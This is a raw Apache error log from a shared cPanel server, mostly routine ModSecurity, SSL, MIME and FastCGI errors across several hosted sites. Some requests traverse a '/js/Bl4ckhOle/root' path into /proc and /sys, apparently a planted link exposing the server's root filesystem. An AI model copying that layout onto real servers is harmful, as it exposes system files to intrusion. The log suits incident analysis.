[Fri Jul 17 09:52:08.745307 2026] [security2:error] [pid 2050576:tid 2050576] [client 62.60.130.233:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/bostonlanka-ip": Permission denied [hostname "bostonlanka.com"] [uri "/wp-admin/index.php"] [unique_id "almt8JuhBssQvDAz4zCrxwAAABI"], referer: https://bostonlanka.com/wp-login.php
[Fri Jul 17 09:52:10.388748 2026] [ssl:error] [pid 2019501:tid 2019501] (70014)End of file found: [client 66.85.158.91:50074] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:52:14.053745 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:47856] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:52:14.611885 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:47902] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:52:15.857765 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:47990] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:52:17.595388 2026] [ssl:error] [pid 2050576:tid 2050576] (70014)End of file found: [client 66.85.158.91:48096] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:52:19.003438 2026] [ssl:error] [pid 2034024:tid 2034024] (70014)End of file found: [client 66.85.158.91:48224] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:52:20.168803 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:48294] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:52:23.456278 2026] [ssl:error] [pid 2018741:tid 2018741] (70014)End of file found: [client 66.85.158.91:37946] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:52:23.462747 2026] [ssl:error] [pid 2050576:tid 2050576] (70014)End of file found: [client 66.85.158.91:37934] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:52:23.463823 2026] [ssl:error] [pid 2029579:tid 2029579] (70014)End of file found: [client 66.85.158.91:37962] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:52:23.480117 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:37966] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:52:23.576765 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:37976] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:52:23.680780 2026] [ssl:error] [pid 2050580:tid 2050580] (70014)End of file found: [client 66.85.158.91:37980] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:52:23.771644 2026] [ssl:error] [pid 2047046:tid 2047046] (70014)End of file found: [client 66.85.158.91:37988] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:52:23.865961 2026] [ssl:error] [pid 2031172:tid 2031172] (70014)End of file found: [client 66.85.158.91:38002] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:52:23.965243 2026] [ssl:error] [pid 2050582:tid 2050582] (70014)End of file found: [client 66.85.158.91:38026] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:52:24.072945 2026] [ssl:error] [pid 2039911:tid 2039911] (70014)End of file found: [client 66.85.158.91:38048] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:52:24.158432 2026] [ssl:error] [pid 2034024:tid 2034024] (70014)End of file found: [client 66.85.158.91:38064] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:52:25.984457 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:38184] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:52:27.318118 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:38264] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:52:27.727483 2026] [ssl:error] [pid 2019501:tid 2019501] (70014)End of file found: [client 66.85.158.91:38290] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:52:28.613306 2026] [ssl:error] [pid 2030955:tid 2030955] (70014)End of file found: [client 66.85.158.91:38332] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:52:28.699866 2026] [core:error] [pid 2060590:tid 2060590] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/bus/memory/devices/memory124/node0/cpu0/driver/bind
[Fri Jul 17 09:52:29.153195 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:38364] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:52:29.321109 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:38386] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:52:29.336251 2026] [ssl:error] [pid 2050580:tid 2050580] (70014)End of file found: [client 66.85.158.91:38398] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:52:29.593276 2026] [ssl:error] [pid 2047046:tid 2047046] (70014)End of file found: [client 66.85.158.91:38400] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:52:30.449030 2026] [security2:error] [pid 2031172:tid 2031172] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almuBejME1mgqYZ5O94wagAAAAE"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1180&page_105=1917
[Fri Jul 17 09:52:30.449149 2026] [security2:error] [pid 2031172:tid 2031172] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almuBejME1mgqYZ5O94wagAAAAE"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1180&page_105=1917
[Fri Jul 17 09:52:31.980072 2026] [ssl:error] [pid 2031172:tid 2031172] (70014)End of file found: [client 66.85.158.91:33274] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:52:33.897726 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:52:36.906813 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:33468] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:52:39.059614 2026] [mime:warn] [pid 2060583:tid 2060583] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:52:39.104874 2026] [core:error] [pid 2034024:tid 2034024] (13)Permission denied: [client 57.141.18.55:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory0/subsystem/devices/memory126/node0/memory133/subsystem/devices/memory22/node0/memory71/subsystem/drivers_probe
[Fri Jul 17 09:52:39.135685 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:52:39.139371 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:52:39.387721 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:52:39.603105 2026] [core:error] [pid 2050581:tid 2050581] (13)Permission denied: [client 47.82.53.44:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/fs/cgroup/memory/system.slice/home-cagefs\\x2dskeleton-var-run-nscd.mount/cgroup.event_control
[Fri Jul 17 09:52:39.700222 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:52:39.940741 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:52:39.940879 2026] [mime:warn] [pid 2060590:tid 2060590] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:52:40.068743 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:52:40.161853 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:52:40.163002 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:52:40.253024 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:52:40.264522 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:52:40.333645 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:52:40.438213 2026] [security2:error] [pid 1993572:tid 1993572] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almuEIl9vhFBGA6D8l-E-AAAAAw"], referer: http://anandaobauae.org/?fb_locale=th_THuploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:52:40.438243 2026] [security2:error] [pid 1993572:tid 1993572] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almuEIl9vhFBGA6D8l-E-AAAAAw"], referer: http://anandaobauae.org/?fb_locale=th_THuploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:52:41.683816 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:52:41.719021 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:52:41.967648 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:52:41.970916 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:52:42.080529 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:52:42.201302 2026] [mime:warn] [pid 2060590:tid 2060590] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:52:42.613402 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:52:42.660119 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:52:42.701063 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:52:42.980878 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:52:43.067911 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:52:43.166985 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:52:43.247955 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:52:45.118610 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:52:45.118608 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:52:45.274441 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:52:45.291012 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:52:45.388646 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:52:45.519215 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:52:45.624541 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:52:45.741010 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:52:45.759232 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:52:45.899422 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:52:45.933019 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:52:46.927594 2026] [ssl:error] [pid 2050581:tid 2050581] (70014)End of file found: [client 66.85.158.91:51624] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:52:50.640402 2026] [ssl:error] [pid 2039911:tid 2039911] (70014)End of file found: [client 66.85.158.91:51780] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:52:50.640701 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:51772] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:52:50.724332 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:51788] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:52:50.930302 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:51794] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:52:50.930516 2026] [security2:error] [pid 1993671:tid 1993671] [client 57.141.18.48:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory71/subsystem/devices/memory20/node0/memory35/removable"] [unique_id "almuGg5GPQ6hs4VrfMpNSQAAAAY"]
[Fri Jul 17 09:52:50.930550 2026] [security2:error] [pid 1993671:tid 1993671] [client 57.141.18.48:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory71/subsystem/devices/memory20/node0/memory35/removable"] [unique_id "almuGg5GPQ6hs4VrfMpNSQAAAAY"]
[Fri Jul 17 09:52:50.951585 2026] [ssl:error] [pid 2032156:tid 2032156] (70014)End of file found: [client 66.85.158.91:51796] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:52:51.590592 2026] [security2:error] [pid 2030955:tid 2030955] [client 57.141.18.73:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory107/node0/memory77/node0/memory82/node0/memory76/"] [unique_id "almuG_wooI4qY7Jg93pgTAAAABM"]
[Fri Jul 17 09:52:51.590653 2026] [security2:error] [pid 2030955:tid 2030955] [client 57.141.18.73:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory107/node0/memory77/node0/memory82/node0/memory76/"] [unique_id "almuG_wooI4qY7Jg93pgTAAAABM"]
[Fri Jul 17 09:52:53.507926 2026] [ssl:error] [pid 2060576:tid 2060576] (70014)End of file found: [client 66.85.158.91:39078] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:52:55.349938 2026] [core:error] [pid 2013797:tid 2013797] (13)Permission denied: [client 57.141.18.87:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/cpu/devices/cpu0/node0/memory3/subsystem/devices/memory143/node0/memory35/subsystem/drivers_probe
[Fri Jul 17 09:52:55.697919 2026] [ssl:error] [pid 2050581:tid 2050581] (70014)End of file found: [client 66.85.158.91:39268] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:52:55.952912 2026] [ssl:error] [pid 2060590:tid 2060590] (70014)End of file found: [client 66.85.158.91:39280] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:52:56.404128 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:39292] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:52:56.406089 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:39296] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:52:56.847681 2026] [ssl:error] [pid 2050576:tid 2050576] (70014)End of file found: [client 66.85.158.91:39336] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:52:57.666813 2026] [ssl:error] [pid 2039911:tid 2039911] (70014)End of file found: [client 66.85.158.91:39362] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:52:58.385207 2026] [security2:error] [pid 1993671:tid 1993671] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almuIg5GPQ6hs4VrfMpNSwAAAAY"], referer: http://anandaobauae.org/?fb_locale=th_THuploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 09:52:58.385243 2026] [security2:error] [pid 1993671:tid 1993671] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almuIg5GPQ6hs4VrfMpNSwAAAAY"], referer: http://anandaobauae.org/?fb_locale=th_THuploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 09:52:59.852929 2026] [ssl:error] [pid 2050572:tid 2050572] (70014)End of file found: [client 66.85.158.91:39462] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:53:01.615811 2026] [ssl:error] [pid 2030955:tid 2030955] (70014)End of file found: [client 66.85.158.91:46290] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:53:01.918734 2026] [ssl:error] [pid 2032156:tid 2032156] (70014)End of file found: [client 66.85.158.91:46314] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:53:02.225850 2026] [ssl:error] [pid 2060582:tid 2060582] (70014)End of file found: [client 66.85.158.91:46324] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:53:07.057864 2026] [ssl:error] [pid 2050576:tid 2050576] (70014)End of file found: [client 66.85.158.91:46440] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:53:07.367398 2026] [ssl:error] [pid 2028246:tid 2028246] (70014)End of file found: [client 66.85.158.91:46454] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:53:08.903831 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:46504] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:53:10.588484 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:46574] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:53:10.892420 2026] [ssl:error] [pid 2034024:tid 2034024] (70014)End of file found: [client 66.85.158.91:46598] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:53:14.062240 2026] [security2:error] [pid 2050581:tid 2050581] [client 199.244.88.223:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/buddhika-global": Permission denied [hostname "millenniumagro.lk"] [uri "/index.php"] [unique_id "almuL8zGNCrIh2ysmniQUgAAABY"]
[Fri Jul 17 09:53:14.062294 2026] [security2:error] [pid 2050581:tid 2050581] [client 199.244.88.223:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/buddhika-ip": Permission denied [hostname "millenniumagro.lk"] [uri "/index.php"] [unique_id "almuL8zGNCrIh2ysmniQUgAAABY"]
[Fri Jul 17 09:53:15.823758 2026] [security2:error] [pid 2050572:tid 2050572] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almuMmuF39UwWB2KWdbUGAAAAA8"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1145&page_105=1078
[Fri Jul 17 09:53:15.823793 2026] [security2:error] [pid 2050572:tid 2050572] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almuMmuF39UwWB2KWdbUGAAAAA8"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1145&page_105=1078
[Fri Jul 17 09:53:16.330803 2026] [ssl:error] [pid 2050581:tid 2050581] (70014)End of file found: [client 66.85.158.91:42122] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:53:16.781867 2026] [ssl:error] [pid 2029579:tid 2029579] (70014)End of file found: [client 66.85.158.91:42124] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:53:22.652346 2026] [ssl:error] [pid 2019501:tid 2019501] (70014)End of file found: [client 66.85.158.91:56864] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:53:23.185707 2026] [proxy_fcgi:error] [pid 2047046:tid 2047046] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:23.347798 2026] [proxy_fcgi:error] [pid 2030804:tid 2030804] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:23.513282 2026] [proxy_fcgi:error] [pid 2060582:tid 2060582] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:23.677124 2026] [proxy_fcgi:error] [pid 2013797:tid 2013797] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:23.847255 2026] [proxy_fcgi:error] [pid 2060576:tid 2060576] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:24.007210 2026] [ssl:error] [pid 2034024:tid 2034024] (70014)End of file found: [client 66.85.158.91:56940] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:53:24.015763 2026] [proxy_fcgi:error] [pid 2018768:tid 2018768] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:24.180466 2026] [proxy_fcgi:error] [pid 2028246:tid 2028246] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:24.342302 2026] [proxy_fcgi:error] [pid 2039911:tid 2039911] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:24.511507 2026] [proxy_fcgi:error] [pid 2013830:tid 2013830] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:24.672619 2026] [proxy_fcgi:error] [pid 2030804:tid 2030804] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:24.837349 2026] [proxy_fcgi:error] [pid 2050572:tid 2050572] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:24.999407 2026] [proxy_fcgi:error] [pid 2050582:tid 2050582] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:25.162675 2026] [proxy_fcgi:error] [pid 1993671:tid 1993671] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:25.324417 2026] [proxy_fcgi:error] [pid 2060576:tid 2060576] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:25.497275 2026] [proxy_fcgi:error] [pid 2018768:tid 2018768] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:25.657979 2026] [proxy_fcgi:error] [pid 2028246:tid 2028246] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:25.823590 2026] [proxy_fcgi:error] [pid 2039911:tid 2039911] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:25.985706 2026] [proxy_fcgi:error] [pid 2030804:tid 2030804] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:26.165320 2026] [proxy_fcgi:error] [pid 2047046:tid 2047046] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:26.332128 2026] [proxy_fcgi:error] [pid 2060582:tid 2060582] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:26.499258 2026] [proxy_fcgi:error] [pid 2050582:tid 2050582] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:26.661634 2026] [proxy_fcgi:error] [pid 2018741:tid 2018741] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:26.834229 2026] [proxy_fcgi:error] [pid 2018768:tid 2018768] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:26.972154 2026] [security2:error] [pid 2028246:tid 2028246] [client 112.134.242.37:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/js/app.js"] [unique_id "almuPjsMb3am0TgkjETlnAAAAAo"], referer: https://www.epid.gov.lk/
[Fri Jul 17 09:53:26.972189 2026] [security2:error] [pid 2028246:tid 2028246] [client 112.134.242.37:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/js/app.js"] [unique_id "almuPjsMb3am0TgkjETlnAAAAAo"], referer: https://www.epid.gov.lk/
[Fri Jul 17 09:53:27.006278 2026] [proxy_fcgi:error] [pid 2050576:tid 2050576] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:27.175435 2026] [proxy_fcgi:error] [pid 2060590:tid 2060590] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:27.339661 2026] [proxy_fcgi:error] [pid 2018741:tid 2018741] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:27.503437 2026] [proxy_fcgi:error] [pid 2028246:tid 2028246] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:27.796541 2026] [proxy_fcgi:error] [pid 2050572:tid 2050572] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:27.974325 2026] [proxy_fcgi:error] [pid 1993572:tid 1993572] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:28.233576 2026] [proxy_fcgi:error] [pid 2013830:tid 2013830] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:28.399088 2026] [proxy_fcgi:error] [pid 2030955:tid 2030955] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:28.562198 2026] [proxy_fcgi:error] [pid 2050576:tid 2050576] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:53:28.719672 2026] [ssl:error] [pid 2050582:tid 2050582] (70014)End of file found: [client 66.85.158.91:57176] AH02013: coalesce failed to read from data bucket
